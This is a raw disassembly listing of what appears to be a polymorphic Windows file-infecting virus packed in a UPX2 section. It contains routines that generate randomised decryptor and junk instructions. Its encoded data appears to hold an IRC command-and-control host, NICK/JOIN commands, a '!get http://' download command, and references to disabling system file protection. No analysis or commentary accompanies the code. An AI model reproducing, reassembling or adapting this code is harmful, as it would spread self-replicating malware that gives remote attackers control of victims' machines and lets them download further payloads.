8Dh ; db 4Ch ; L db 24h ; $ db 3 db 6Ah ; j ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_3151B6B3 loc_3151BB0D: ; CODE XREF: sub_3151B6B3+3F3j add [edx+5], ch loc_3151BB10: ; CODE XREF: sub_3151B6B3:loc_3151BACDj push ecx push eax push ebx push 5 mov ecx, esp push eax mov edx, esp push eax loc_3151BB1B: ; CODE XREF: sub_3151B6B3+401j push esp push 40h loc_3151BB1E: ; CODE XREF: sub_3151B6B3+412j push ecx push edx push ebx loc_3151BB21: ; CODE XREF: sub_3151B6B3+408j call dword ptr [ebp+103F22h] add esp, 0Ch call dword ptr [ebp+103F2Ah] loc_3151BB30: ; CODE XREF: sub_3151B6B3:loc_3151BAB6j ; sub_3151B6B3+417j add esp, 8 retn ; END OF FUNCTION CHUNK FOR sub_3151B6B3 ; --------------------------------------------------------------------------- db 8Dh ; db 95h ; db 30h ; 0 db 3Eh ; > db 10h db 0 db 33h ; 3 db 0C9h ; db 6Ah ; j db 0 db 52h ; R db 68h ; h db 30h ; 0 db 0 db 32h ; 2 db 0 db 8Bh ; db 0C4h ; db 51h ; Q db 51h ; Q db 6Ah ; j db 40h ; @ db 50h ; P db 51h ; Q db 6Ah ; j db 18h db 83h ; db 0C0h ; db 8 db 54h ; T db 6Ah ; j db 0Eh db 50h ; P db 0FFh db 95h ; db 1Eh db 3Fh ; ? db 10h db 0 db 83h ; db 0C4h ; db 20h db 33h ; 3 db 0D2h ; db 85h ; db 0C0h ; db 0Fh db 99h ; db 0C2h ; db 0F7h ; db 0DAh ; db 58h ; X db 23h ; # db 0C2h ; db 0C3h ; db 57h ; W db 33h ; 3 db 0FFh db 0E8h ; db 0C1h ; db 0FFh db 0FFh db 0FFh db 0Fh db 84h ; db 0A5h ; db 0 db 0 db 0 db 50h ; P db 68h ; h db 28h ; ( db 73h ; s db 0 db 0 db 8Bh ; db 0D4h ; db 6Ah ; j db 0 db 8Bh ; db 0CCh ; db 6Ah ; j db 40h ; @ db 68h ; h db 0 db 0 db 10h db 0 db 6Ah ; j db 2 db 52h ; R db 6Ah ; j db 0 db 68h ; h db 28h ; ( db 73h ; s db 0 db 0 db 6Ah ; j db 0 db 51h ; Q db 53h ; S db 50h ; P db 0FFh db 95h ; db 12h db 3Fh ; ? db 10h db 0 db 5Fh ; _ db 59h ; Y db 0FFh db 95h ; db 62h ; b db 3Eh ; > db 10h db 0 db 85h ; db 0FFh db 74h ; t db 71h ; q db 8Bh ; db 8Dh ; db 90h ; db 15h db 10h db 0 db 0E3h ; db 0Ch db 8Dh ; db 95h ; db 0 db 10h db 10h db 0 db 3 db 0D1h ; db 57h ; W db 53h ; S db 0FFh db 0D2h ; db 8Bh ; db 85h ; db 0FEh ; db 3Eh ; > db 10h db 0 db 8Dh ; db 8Fh ; db 16h db 29h ; ) db 0 db 0 db 0E8h ; db 2Bh ; + db 0FFh db 0FFh db 0FFh db 8Bh ; db 85h ; db 16h db 3Fh ; ? db 10h db 0 db 8Dh ; db 8Fh ; db 63h ; c db 29h ; ) db 0 db 0 db 0E8h ; db 1Ah db 0FFh db 0FFh db 0FFh db 8Bh ; db 85h ; db 2 db 3Fh ; ? db 10h db 0 db 8Dh ; db 8Fh ; db 6Ah ; j db 29h ; ) db 0 db 0 db 0E8h ; db 9 db 0FFh db 0FFh db 0FFh db 8Bh ; db 85h ; db 6 db 3Fh ; ? db 10h db 0 db 85h ; db 0C0h ; db 74h ; t db 20h db 8Dh ; db 8Fh ; db 77h ; w db 29h ; ) db 0 db 0 db 0E8h ; db 0F4h ; db 0FEh ; db 0FFh db 0FFh db 8Bh ; db 85h ; db 0Eh db 3Fh ; ? db 10h db 0 db 85h ; db 0C0h ; db 74h ; t db 0Bh db 8Dh ; db 8Fh ; db 84h ; db 29h ; ) db 0 db 0 db 0E8h ; db 0DFh ; db 0FEh ; db 0FFh db 0FFh db 8Bh ; db 0C7h ; db 5Fh ; _ db 0C3h ; db 55h ; U db 0E8h ; db 0 db 0 db 0 db 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 101B24h xor ecx, ecx lea eax, [ebp+101EAFh] push ecx push esp push ecx push ecx push eax push ecx push ecx call dword ptr [ebp+103E8Eh] xchg eax, [esp] call dword ptr [ebp+103E62h] pop ebp retn 4 ; --------------------------------------------------------------------------- db 55h, 0E8h, 0 dd 5D000000h, 1B53ED81h, 0FF6A0010h, 1B1E958Dh, 52500010h dd 2420CDh, 0C483002Ah, 85C7660Ch, 101B64h, 85C720CDh dd 101B66h, 2A0024h, 1A6AC35Dh, 9E858h, 428D0000h, 0C9FEAA61h dd 69C3F075h, 103F7C95h, 8840500h, 95894208h, 103F7Ch dd 55C3E2F7h, 0E8h, 0ED815D00h, 101BADh, 3F809D8Bh, 7C830010h dd 0F000824h, 0B984h, 8EC8100h, 54000002h, 10468h, 0B695FF00h dd 8B00103Eh, 24848DFCh, 104h, 0E8006A50h, 4, 525256h dd 0B295FF57h, 3300103Eh, 4978DC9h, 51000001h, 51026A51h dd 68016Ah, 52400000h, 3E7E95FFh, 85960010h, 505B74F6h dd 1046854h, 0FF570000h, 22024B4h, 95FF0000h, 103F5Eh dd 74C08559h, 5014E316h, 6AD48Bh, 56575152h, 3EF695FFh dd 85590010h, 56D075C0h, 3E6295FFh, 578D0010h, 6A575244h dd 978D5844h, 104h, 6AC033ABh, 0ABF35910h, 50505050h, 52505050h dd 3E8695FFh, 0C4810010h, 208h, 82474FFh, 3F4E95FFh, 0FF530010h dd 103F4E95h, 4C25D00h, 0A3E8000h, 8B460175h, 10158C8Dh dd 8D19E300h, 10100095h, 56D10300h, 0C084D2FFh, 11F880Fh dd 840F0000h, 110h, 753A3E80h, 3E804610h, 1840F00h, 80000001h dd 0F175203Eh, 503E8146h, 75474E49h, 0C6CF8B42h, 2B4F0146h dd 6A51CEh, 0FF535651h, 103F4695h, 0C13B5900h, 0DF850Fh dd 858D0000h, 101EA3h, 0C68006Ah, 50000000h, 4695FF53h dd 3D00103Fh, 0Ch, 0BF850Fh, 0B1E90000h, 81000000h, 4952503Eh dd 0A5850F56h, 83000000h, 3CAC08C6h, 99840F0Dh, 3C000000h dd 0ACF37520h, 850F3A3Ch, 8Ch, 20200DADh, 213D2020h, 75746567h dd 203CAC7Fh, 7E817C75h, 746820FFh, 81717574h, 3A70037Eh dd 68752F2Fh, 0FF47C6h, 10BA310Fh, 0F7000027h, 95FF52E2h dd 103EE6h, 5050C033h, 9E85050h, 44000000h, 6C6E776Fh dd 64616Fh, 3F5695FFh, 0C0850010h, 0C9333674h, 3F808589h dd 68510010h, 80000200h, 50565151h, 3F5A95FFh, 958D0010h dd 101BA7h, 54C93350h, 51525051h, 8E95FF51h, 8700103Eh dd 95FF2404h, 103E62h, 8D80C3F8h, 10157Fh, 6AC3F901h, 0FF016A01h dd 473FF33h, 0C08515FFh, 0DB335A74h, 0BB3D08Bh, 8D3C5003h dd 101DCBB5h, 0CBA8B00h, 8B000001h, 1088Ah, 2BF80300h dd 0CB8B60CBh, 7461A6F3h, 0F5E24705h, 0C7832EEBh, 0CC8B530Fh dd 50D48B57h, 51406A54h, 0FFFF6A52h, 103F2295h, 968D8B00h dd 8300103Eh, 0CF2B0CC4h, 0C707E983h, 0E8006A07h, 34F8900h dd 464F53C3h, 52415754h, 694D5C45h, 736F7263h, 5C74666Fh dd 646E6957h, 5C73776Fh, 72727543h, 56746E65h, 69737265h dd 455C6E6Fh, 6F6C7078h, 726572h, 67726154h, 6F487465h dd 2007473h, 500000h, 70000000h, 69786F72h, 72692E6Dh dd 6C616763h, 2E797861h, 4E006C70h, 204B4349h, 6C766864h dd 61767566h, 4553550Ah, 4A6B2052h, 204E494Fh, 72697626h dd 550A7574h, 0E8h, 0ED815D00h, 101EB5h, 157F85C6h, 0FF000010h dd 103EBA95h, 1FE8C100h, 1E6A3C74h, 3E72B58Bh, 0AC590010h dd 2A752E3Ch, 0FF3E8166h, 8D23751Dh, 103F76BDh, 2768B00h dd 0A566A557h, 38EC858Dh, 858F0010h, 103912h, 0FA4689FAh dd 0FBFE4E8Ch, 0CFE201B1h, 21E850EBh, 83FFFFFBh, 408247Ch dd 8E84475h, 53000000h, 442E4346h, 0FF004C4Ch, 103EC695h dd 74C00B00h, 26A930Dh, 6E95FF53h, 0FF00103Eh, 97E893D0h dd 0E8FFFFFEh, 0Bh, 5F434653h, 442E534Fh, 0FF004C4Ch, 103EC695h dd 0FE7CE800h, 0E8FFFFh, 0FFFFFFF6h, 1012D48Dh, 8DC93300h dd 10432485h, 51515100h, 51515051h, 0C295FF51h, 0E800103Eh dd 0Bh, 52455355h, 442E3233h, 0FF004C4Ch, 103EC695h, 0AE800h dd 73770000h, 6E697270h, 416674h, 6E95FF50h, 8900103Eh dd 103E7685h, 8D310F00h, 1019858Dh, 7C858900h, 5100103Fh dd 3EC695FFh, 68930010h, 4, 1992B58Dh, 8D590010h, 103F62BDh dd 0F5C2E800h, 0C766FFFFh, 101E7585h, 83500000h, 101E77A5h dd 958D0000h, 101E35h, 16A5450h, 6852006Ah, 80000002h dd 3F6695FFh, 0C0850010h, 8D22755Ah, 101E688Dh, 66A5200h dd 1E75B58Dh, 56540010h, 52515050h, 3F6A95FFh, 0FF580010h dd 103F6295h, 8385C600h, 1041h, 0CE8h, 4F535700h, 32334B43h dd 4C4C442Eh, 0C695FF00h, 9300103Eh, 768h, 0E9B58D00h dd 59001018h, 3F32BD8Dh, 3DE80010h, 0E8FFFFF5h, 0Ch, 494E4957h dd 2E54454Eh, 4C4C44h, 3EC695FFh, 0C0850010h, 235840Fh dd 68930000h, 5, 1927B58Dh, 8D590010h, 103F4EBDh, 0F506E800h dd 0BD83FFFFh, 103F52h, 10840F00h, 81000002h, 190ECh, 1685400h dd 0FF000001h, 103F3295h, 90C48100h, 50000001h, 6AD48Bh dd 5295FF52h, 8500103Fh, 0D7559C0h, 138868h, 0E695FF00h dd 0EB00103Eh, 77BD83E2h, 101Eh, 858D2975h, 101E7Bh, 3E95FF50h dd 8500103Fh, 89840FC0h, 8B000001h, 8B0C40h, 858F30FFh dd 101E77h, 418385C6h, 6A010010h, 6A016A00h, 4A95FF02h dd 8300103Fh, 840FFFF8h, 160h, 73958D93h, 6A00101Eh, 0FF535210h dd 103F3A95h, 0FC08500h, 14085h, 94BD8D00h, 0B100101Eh dd 0FA3CE808h, 9468FFFFh, 5E000000h, 3489E62Bh, 95FF5424h dd 103EBEh, 1EA2BD8Dh, 1B10010h, 0FFFA1DE8h, 8F958DFFh dd 6A00101Eh, 146800h, 53520000h, 3F4695FFh, 448D0010h dd 958D1424h, 104324h, 0AB60F50h, 1424448Bh, 208E0C1h dd 4A12014Ah, 34A1202h, 824440Bh, 0C10FE180h, 0B5108E0h dd 0FF102444h, 0BD8D5032h, 103F84h, 1CE8h, 362E2500h, 202E2078h dd 253A202Eh, 382E2525h, 20782578h, 4A0A7325h, 204E494Fh dd 95FF5700h, 103E76h, 0ACC481h, 6A0000h, 0FF535750h, 103F4695h dd 988D8B00h, 6A001015h, 6B1BE300h, 0E8510DC9h, 5, 0A642526h dd 95FF5700h, 103E76h, 500CC483h, 7680BEBh, 8D000000h dd 101EA8BDh, 0FF535700h, 103F4695h, 7EC08500h, 84B58D54h dd 8300103Fh, 101598A5h, 8D8D0000h, 104183h, 6ACE2Bh, 0FF535651h dd 103F4295h, 0F88300h, 8B912F7Eh, 84B58DFEh, 0B000103Fh dd 75AEF20Dh, 2AE86010h, 61FFFFFAh, 9E31772h, 0EB01778Dh dd 2BCF8BEAh, 84BD8DCEh, 0F300103Fh, 0EBF787A4h, 95FF53B9h dd 103F36h, 157FBD80h, 74010010h, 7530682Ah, 95FF0000h dd 103EE6h, 4183BD80h, 74000010h, 7785C711h, 101Eh, 0C6000000h dd 10418385h, 8E90000h, 0C7FFFFFEh, 10158885h, 0 dd 4C25D80h, 4F0A0D00h, 6F6F6E20h, 666F206Eh, 66696C20h dd 4F202165h, 6D697420h, 6F742065h, 6C656320h, 61726265h dd 0D216574h, 2020200Ah, 204F2020h, 6D6D7573h, 67207265h dd 65647261h, 0A0D216Eh, 656C6552h, 656C746Eh, 796C7373h dd 70616820h, 61207970h, 6520646Eh, 63657078h, 746E6174h dd 7473202Ch, 69646E61h, 203A676Eh, 570A0D2Dh, 68637461h dd 20676E69h, 206C6C61h, 20796164h, 20646E61h, 6867696Eh dd 66202C74h, 6620726Fh, 6E656972h, 49207364h, 69617720h dd 0A0D3A74h, 72656857h, 72612065h, 6F792065h, 66202C75h dd 6E656972h, 203F7364h, 656D6F43h, 74492021h, 20736920h dd 656D6974h, 74492021h, 6C207327h, 21657461h, 4CA2A1A8h dd 10A61429h, 40375232h, 40375248h, 8F908788h, 27B1FAE5h dd 0C26CCC5Ch, 86E15194h, 658000B9h, 0D8B8B352h, 15h dup(0) dd 0C768988Fh, 0F4A58360h, 1042h, 42F8A583h, 0F000010h ; CODE XREF: UPX2:3151D02Ep ; UPX2:3151D055p ... dd 8D1443B7h, 0B70F1853h, 0D003064Bh, 2424448Bh, 720C422Bh dd 8423B19h, 428B1473h, 0C422B14h, 42F49589h, 85890010h dd 1042F8h, 0C28305EBh, 61D9E228h, 880004C2h, 10246785h dd 64E800h, 1F680000h, 8D000000h, 10239485h, 18395900h dd 0C0830C74h, 0FFF7E204h, 1042D085h, 0D9F7C300h, 24678D03h dd 10E30010h, 8FFC70FFh, 4E88300h, 9D89F6E2h, 102394h dd 74003A83h, 3322B05h, 4E8D1072h, 5E5B58FCh, 74003A83h dd 0EB32FF04h, 1072FF03h, 0FFFF57E8h, 2BCE2BFFh, 1042F88Dh dd 4B035800h, 858FC334h, 1042D4h, 42D085C7h, 10h, 3CE80000h dd 8B000000h, 1042D085h, 0F6A9E800h, 18E8FFFFh, 83000000h dd 1042D0BDh, 8750000h, 24109D89h, 9CEB0010h, 42D08DFFh dd 8FC30010h, 1042D485h, 0D0958900h, 0E8001042h, 3, 8BC3C933h dd 8093h, 0EDE85200h, 3FFFFFEh, 1042F895h, 83D60300h, 0F000C7Ah dd 10784h, 107A8300h, 0FD840F00h, 8B000000h, 0E8500C42h dd 0FFFFFEC8h, 42F88503h, 0C6030010h, 80088A50h, 197400F9h dd 742EF980h, 0F1EB4003h, 8101488Bh, 0DFDFDFE1h, 44F981DFh dd 75004C4Ch, 0C82B59ECh, 0FFAF983h, 0B78Fh, 78816600h dd 0F3233FEh, 0AB85h, 3A835600h, 8B057500h, 2EB104Ah, 0F1030A8Bh dd 0FE72E851h, 0B503FFFFh, 1042F8h, 78C085ADh, 84840FFBh dd 0FF000000h, 1042F8B5h, 55E85000h, 3FFFFFEh, 1042F885h dd 0F8858F00h, 3001042h, 83532404h, 0DB3302C0h, 0E308B60Fh dd 20C98012h, 2424C153h, 241C2904h, 5B240C29h, 81E9EB40h dd 0BBD70FFBh, 813E74DDh, 6E45A8FBh, 813674DBh, 0A13B59FBh dd 812E74FFh, 0B522D6FBh, 812674ACh, 58E993FBh, 811E74F3h dd 58E97DFBh, 811674F3h, 253F46FBh, 810E74E1h, 253F30FBh dd 0FF0674E1h, 1042D495h, 71E95B00h, 5EFFFFFFh, 0E914C283h dd 0FFFFFEEFh, 46A01C3h, 0F549E858h, 9588FFFFh, 102641h dd 1831B866h, 0E4C0E202h, 66E20203h, 58066AABh, 0FFF52EE8h dd 8C283FFh, 56AD187h, 0F521E858h, 0FA80FFFFh, 0B00B7303h dd 41850250h, 0AA001026h, 686A27EBh, 0FA80AA58h, 0B0187503h dd 0F501E811h, 1B8FFFFh, 84000000h, 0D10D74D2h, 0EBCAFEE0h dd 0B805EBF6h, 80000000h, 0C3BFE2ABh, 39CC958Dh, 0D72B0010h dd 0F7C3DAF7h, 1039C085h, 0 ; --------------------------------------------------------------------------- adc [edi], cl xchg eax, ebp rol cl, 0E0h or esi, esi test [esi+1001039h], edi jnz short loc_3151C7DA or ax, 2589h jmp short loc_3151C7ED ; --------------------------------------------------------------------------- loc_3151C7DA: ; CODE XREF: UPX2:3151C7D2j test byte ptr [ebp+1039BEh], 2 jnz short loc_3151C7E9 or ax, 2531h jmp short loc_3151C7ED ; --------------------------------------------------------------------------- loc_3151C7E9: ; CODE XREF: UPX2:3151C7E1j or ax, 2501h loc_3151C7ED: ; CODE XREF: UPX2:3151C7D8j ; UPX2:3151C7E7j stosw call near ptr dword_3151C514+29Ch mov eax, [ebx+34h] mov [ebp+1042E8h], edx stosd retn ; =============== S U B R O U T I N E ======================================= sub_3151C7FF proc near ; CODE XREF: UPX2:3151CE4Bp test dword ptr [ebp+1039C0h], 10000000h setnz al add al, 0BCh stosb call near ptr dword_3151C514+29Ch mov [ebp+1042ECh], edx test byte ptr [ebp+1039BEh], 1 jnz short loc_3151C827 rdtsc jmp short loc_3151C829 ; --------------------------------------------------------------------------- loc_3151C827: ; CODE XREF: sub_3151C7FF+22j sub eax, eax loc_3151C829: ; CODE XREF: sub_3151C7FF+26j stosd retn sub_3151C7FF endp ; =============== S U B R O U T I N E ======================================= sub_3151C82B proc near ; CODE XREF: UPX2:loc_3151CE55p test dword ptr [ebp+1039C0h], 10000000h jz short loc_3151C85E mov al, [ebp+1039BAh] shl eax, 0Bh or ax, 458Bh stosw mov al, 0F8h stosb mov al, [ebp+1039BAh] shl eax, 1Bh add eax, 6896467h stosd xor eax, eax stosw jmp short locret_3151C870 ; --------------------------------------------------------------------------- loc_3151C85E: ; CODE XREF: sub_3151C82B+Aj mov eax, 58F64h stosd mov al, [ebp+1039BAh] add al, 58h shl eax, 18h stosd locret_3151C870: ; CODE XREF: sub_3151C82B+31j retn sub_3151C82B endp ; =============== S U B R O U T I N E ======================================= sub_3151C871 proc near ; CODE XREF: sub_3151C8E3:loc_3151C90Ap ; sub_3151C8E3+4Cp ... mov byte ptr [ebp+10279Ch], 9 jmp short loc_3151C89F ; --------------------------------------------------------------------------- loc_3151C87A: ; CODE XREF: sub_3151C871+44j mov al, 0FCh jmp short loc_3151C89E ; --------------------------------------------------------------------------- loc_3151C87E: ; CODE XREF: sub_3151C871+48j mov ax, 0EBh stosw jmp short loc_3151C89F ; --------------------------------------------------------------------------- loc_3151C886: ; CODE XREF: sub_3151C871+4Cj push 4 pop eax call near ptr dword_3151BC54+43h lea eax, [edx+edx*8] shl eax, 8 add ax, 0C089h stosw jmp short loc_3151C89F ; --------------------------------------------------------------------------- loc_3151C89C: ; CODE XREF: sub_3151C871+50j mov al, 90h loc_3151C89E: ; CODE XREF: sub_3151C871+Bj ; sub_3151C871+60j ... stosb loc_3151C89F: ; CODE XREF: sub_3151C871+7j ; sub_3151C871+13j ... push 1Bh pop eax call near ptr dword_3151BC54+43h add byte ptr [ebp+10279Ch], 6 cmp dl, 8 jnb short locret_3151C8E2 test dl, dl jz short loc_3151C87A dec dl jz short loc_3151C87E dec dl jz short loc_3151C886 dec dl jz short loc_3151C89C dec dl jz short loc_3151C8D3 dec dl jz short loc_3151C8DA dec dl jz short loc_3151C8DE mov al, 0F9h jmp short loc_3151C89E ; --------------------------------------------------------------------------- loc_3151C8D3: ; CODE XREF: sub_3151C871+54j mov al, 87h stosb mov al, 0DBh jmp short loc_3151C89E ; --------------------------------------------------------------------------- loc_3151C8DA: ; CODE XREF: sub_3151C871+58j mov al, 0F5h jmp short loc_3151C89E ; --------------------------------------------------------------------------- loc_3151C8DE: ; CODE XREF: sub_3151C871+5Cj mov al, 0F8h jmp short loc_3151C89E ; --------------------------------------------------------------------------- locret_3151C8E2: ; CODE XREF: sub_3151C871+40j retn sub_3151C871 endp ; =============== S U B R O U T I N E ======================================= sub_3151C8E3 proc near ; CODE XREF: UPX2:loc_3151CD2Cp ; UPX2:3151CEDFp test dword ptr [ebp+1039C0h], 2000h mov al, 86h jnz short loc_3151C8F3 add al, 4 loc_3151C8F3: ; CODE XREF: sub_3151C8E3+Cj lea ecx, [edi-2] mov ah, [ebp+1039B8h] stosw cmp ah, 5 jnz short loc_3151C90A mov al, 0 or byte ptr [edi-1], 40h stosb loc_3151C90A: ; CODE XREF: sub_3151C8E3+1Ej call sub_3151C871 test dword ptr [ebp+1039C0h], 4000h mov ax, 3166h jnz short loc_3151C921 mov ah, 29h loc_3151C921: ; CODE XREF: sub_3151C8E3+3Aj stosw mov al, 18h or al, [ebp+1039BAh] shl al, 3 stosb call sub_3151C871 mov al, 88h test dword ptr [ebp+1039C0h], 8000h jnz short loc_3151C944 mov al, 86h loc_3151C944: ; CODE XREF: sub_3151C8E3+5Dj mov ah, [ebp+1039B8h] stosw cmp ah, 5 jnz short locret_3151C958 mov al, 0 or byte ptr [edi-1], 40h stosb locret_3151C958: ; CODE XREF: sub_3151C8E3+6Cj retn sub_3151C8E3 endp ; --------------------------------------------------------------------------- loc_3151C959: ; CODE XREF: sub_3151D55F+183p lea edi, [ebp+1039CCh] call sub_3151C871 test dword ptr [ebp+1039C0h], 400000h jz short near ptr unk_3151C973 mov al, 60h stosb ; --------------------------------------------------------------------------- unk_3151C973 db 0F7h ; ; CODE XREF: UPX2:3151C96Ej db 85h ; db 0C0h ; db 39h ; 9 db 10h db 0 db 0 db 0 db 0 ; --------------------------------------------------------------------------- adc [edi+eax-48h], dh push ebp mov ebp, esp add [ebx-3F7A08B1h], ch cmp [eax], edx add [ebx], al ; --------------------------------------------------------------------------- db 2 dup(0), 2 dd 0F0840Fh, 0E8B00000h, 0BD89ABAAh, 1042D8h, 0FFFECCE8h dd 0AAE8B0FFh, 0DCBD89ABh, 0E8001042h, 0FFFFFEBDh, 39C085F7h dd 30010h, 1A740000h, 39C085F7h, 10h, 0A740200h, 0FFFE2EE8h dd 0FE9BE8FFh, 0E9B0FFFFh, 858BABAAh, 1042D8h, 0C82BCF8Bh dd 42E0BD89h, 48890010h, 6467B8FCh, 33AB36FFh, 0F7AB66C0h dd 1039C085h, 300h, 0F6137400h, 1039BE85h, 0A748000h, 0FFFDAAE8h dd 0FE5BE8FFh, 67B8FFFFh, 0AB268964h, 0AB66C033h, 39C085F7h dd 30010h, 5A740000h, 39BE85F6h, 75800010h, 0FD81E80Ah dd 32E8FFFFh, 0E8FFFFFEh, 0FFFFFD02h, 14E820B0h, 0E3FFFFFBh dd 0FFB86639h, 91AB6615h, 0C0958BABh, 0F7001039h, 3C2F7D2h dd 75000000h, 0FCDCE814h, 1FB0FFFFh, 0FFFAEEE8h, 0FFB866FFh dd 91AB6615h, 8BCF8BABh, 1042E085h, 89C82B00h, 85F7FC48h dd 1039C0h, 3, 85F73874h, 1039C0h, 0C000000h, 85F72C74h dd 1039C0h, 2000000h, 0C2E80A75h, 0E8FFFFFDh, 0FFFFFD4Bh dd 39C085F7h, 10h, 0A740800h, 0FFFDACE8h, 0FD61E8FFh, 85F7FFFFh dd 1039C0h, 4, 96E81774h, 0B8FFFFFDh, 0C8FEC029h, 0C008B8ABh dd 0B8AB0474h, 67EBF875h, 0FD7FE8ABh, 85F7FFFFh, 1039C0h dd 8, 0BD807275h, 1039BEh, 0E8697400h, 0FFFFFD65h, 291829B8h dd 0BAA50AC9h, 0C0001039h, 0A50A03E4h, 1039BAh, 0FD4BE8ABh dd 0B1B0FFFFh, 0BE858AAAh, 0AA001039h, 0FFFD3CE8h, 85B60FFFh dd 1039BAh, 4C0048Dh, 8E0C140h, 0AB668DB0h, 57AA01B0h dd 0FFFD20E8h, 243C29FFh, 0FBE2B866h, 0C085F759h, 10001039h dd 74000000h, 0AA49B007h, 0FA75B866h, 0AB66E102h, 0FFFCFCE8h dd 0AAE8B0FFh, 89ABC033h, 1042C4BDh, 0C085F700h, 20001039h dd 75000000h, 0DEE8573Bh, 0F7FFFFFCh, 1039C085h, 0 dd 89187480h, 1042F0BDh, 0FD39E800h, 0C2E8FFFFh, 0B0FFFFFCh dd 0BAE8AAC3h, 5AFFFFFCh, 58B0CF8Bh, 850ACA2Bh, 1039B8h dd 0AAFC4A89h, 0FFFCA4E8h, 81B866FFh, 0C085F7C0h, 40001039h dd 74000000h, 28C48003h, 39B8A50Ah, 0AB660010h, 42C8BD89h dd 0F7AB0010h, 1039C085h, 0 ; --------------------------------------------------------------------------- inc eax jnz short loc_3151CC04 mov al, 50h add al, [ebp+1039B8h] stosb loc_3151CC04: ; CODE XREF: UPX2:3151CBF9j test dword ptr [ebp+1039C0h], 80h jnz short loc_3151CC1B mov al, 0B8h or al, [ebp+1039B9h] stosb jmp short loc_3151CC58 ; --------------------------------------------------------------------------- loc_3151CC1B: ; CODE XREF: UPX2:3151CC0Ej mov ax, 1831h test dword ptr [ebp+1039C0h], 100h jz short loc_3151CC2D mov al, 29h loc_3151CC2D: ; CODE XREF: UPX2:3151CC29j or ah, [ebp+1039B9h] shl ah, 3 or ah, [ebp+1039B9h] stosw mov ax, 0F081h test dword ptr [ebp+1039C0h], 200h jnz short loc_3151CC50 mov ah, 0C8h loc_3151CC50: ; CODE XREF: UPX2:3151CC4Cj or ah, [ebp+1039B9h] stosw loc_3151CC58: ; CODE XREF: UPX2:3151CC19j mov [ebp+1042E4h], edi mov eax, 29CCh stosd test dword ptr [ebp+1039C0h], 8 jz short loc_3151CCE1 call sub_3151C871 test dword ptr [ebp+1039C0h], 400h jnz short loc_3151CC8C mov al, 0B8h or al, [ebp+1039BAh] stosb jmp short loc_3151CCD9 ; --------------------------------------------------------------------------- loc_3151CC8C: ; CODE XREF: UPX2:3151CC7Fj test dword ptr [ebp+1039C0h], 800h jnz short loc_3151CCA9 mov ax, 0E083h or ah, [ebp+1039BAh] stosw xor eax, eax stosb jmp short loc_3151CCBE ; --------------------------------------------------------------------------- loc_3151CCA9: ; CODE XREF: UPX2:3151CC96j mov ax, 1829h or ah, [ebp+1039BAh] shl ah, 3 or ah, [ebp+1039BAh] stosw loc_3151CCBE: ; CODE XREF: UPX2:3151CCA7j test dword ptr [ebp+1039C0h], 1000h mov ax, 0C081h jz short loc_3151CCD1 add ah, 8 loc_3151CCD1: ; CODE XREF: UPX2:3151CCCCj or ah, [ebp+1039BAh] stosw loc_3151CCD9: ; CODE XREF: UPX2:3151CC8Aj movzx eax, byte ptr [ebp+1039BEh] stosd loc_3151CCE1: ; CODE XREF: UPX2:3151CC6Ej call sub_3151C871 test dword ptr [ebp+1039C0h], 40000000h jz short loc_3151CD00 mov al, 50h add al, [ebp+1039B8h] stosb call sub_3151C871 loc_3151CD00: ; CODE XREF: UPX2:3151CCF0j lea ecx, [edi-2] mov [ebp+1042CCh], ecx test dword ptr [ebp+1039C0h], 80000000h jz short loc_3151CD2C mov al, 0E8h stosb mov eax, [ebp+1042F0h] sub eax, edi sub eax, 4 stosd mov [ebp+1042F0h], edi jmp short loc_3151CD31 ; --------------------------------------------------------------------------- loc_3151CD2C: ; CODE XREF: UPX2:3151CD13j call sub_3151C8E3 loc_3151CD31: ; CODE XREF: UPX2:3151CD2Aj call sub_3151C871 test dword ptr [ebp+1039C0h], 10000h jnz short loc_3151CD4D mov al, 40h or al, [ebp+1039B8h] stosb jmp short loc_3151CD5C ; --------------------------------------------------------------------------- loc_3151CD4D: ; CODE XREF: UPX2:3151CD40j mov ax, 0C083h or ah, [ebp+1039B8h] stosw mov al, 1 stosb loc_3151CD5C: ; CODE XREF: UPX2:3151CD4Bj test dword ptr [ebp+1039C0h], 20000h jnz short loc_3151CD97 test dword ptr [ebp+1039C0h], 40000h jnz short loc_3151CD8E mov al, 0C0h or al, [ebp+1039BAh] mov ah, [ebp+1039BFh] shl eax, 10h mov ax, 8166h stosd mov al, 0 jmp short loc_3151CD96 ; --------------------------------------------------------------------------- loc_3151CD8E: ; CODE XREF: UPX2:3151CD72j mov al, 40h or al, [ebp+1039BAh] loc_3151CD96: ; CODE XREF: UPX2:3151CD8Cj stosb loc_3151CD97: ; CODE XREF: UPX2:3151CD66j test dword ptr [ebp+1039C0h], 80000h jnz short loc_3151CDB3 mov ax, 0E883h or ah, [ebp+1039B9h] stosw mov al, 1 jmp short loc_3151CDBB ; --------------------------------------------------------------------------- loc_3151CDB3: ; CODE XREF: UPX2:3151CDA1j mov al, 48h or al, [ebp+1039B9h] loc_3151CDBB: ; CODE XREF: UPX2:3151CDB1j stosb call sub_3151C871 test dword ptr [ebp+1039C0h], 100000h mov cl, 75h jnz short loc_3151CDF4 mov ax, 0F883h or ah, [ebp+1039B9h] stosw xor eax, eax stosb sub [ebp+1042CCh], edi test dword ptr [ebp+1039C0h], 200000h jnz short loc_3151CE0F mov cl, 77h jmp short loc_3151CE0F ; --------------------------------------------------------------------------- loc_3151CDF4: ; CODE XREF: UPX2:3151CDCDj mov ax, 1809h or ah, [ebp+1039B9h] shl ah, 3 or ah, [ebp+1039B9h] stosw sub [ebp+1042CCh], edi loc_3151CE0F: ; CODE XREF: UPX2:3151CDEEj ; UPX2:3151CDF2j mov al, cl mov ah, [ebp+1042CCh] stosw mov al, 58h add al, [ebp+1039B8h] stosb call sub_3151C871 test dword ptr [ebp+1039C0h], 2000003h jz short loc_3151CE5F test dword ptr [ebp+1039C0h], 8000000h jnz short loc_3151CE5F test dword ptr [ebp+1039C0h], 6000000h jnz short loc_3151CE55 call sub_3151C7FF call sub_3151C871 loc_3151CE55: ; CODE XREF: UPX2:3151CE49j call sub_3151C82B call sub_3151C871 loc_3151CE5F: ; CODE XREF: UPX2:3151CE31j ; UPX2:3151CE3Dj test dword ptr [ebp+1039C0h], 10000000h jz short loc_3151CE73 mov al, 0C9h stosb call sub_3151C871 loc_3151CE73: ; CODE XREF: UPX2:3151CE69j test dword ptr [ebp+1039C0h], 400000h jz short loc_3151CEA9 mov al, 7 sub al, [ebp+1039B8h] shl eax, 1Ah or eax, 240889h add ah, [ebp+1039B8h] shl ah, 3 add ah, 4 stosd call sub_3151C871 mov al, 61h stosb call sub_3151C871 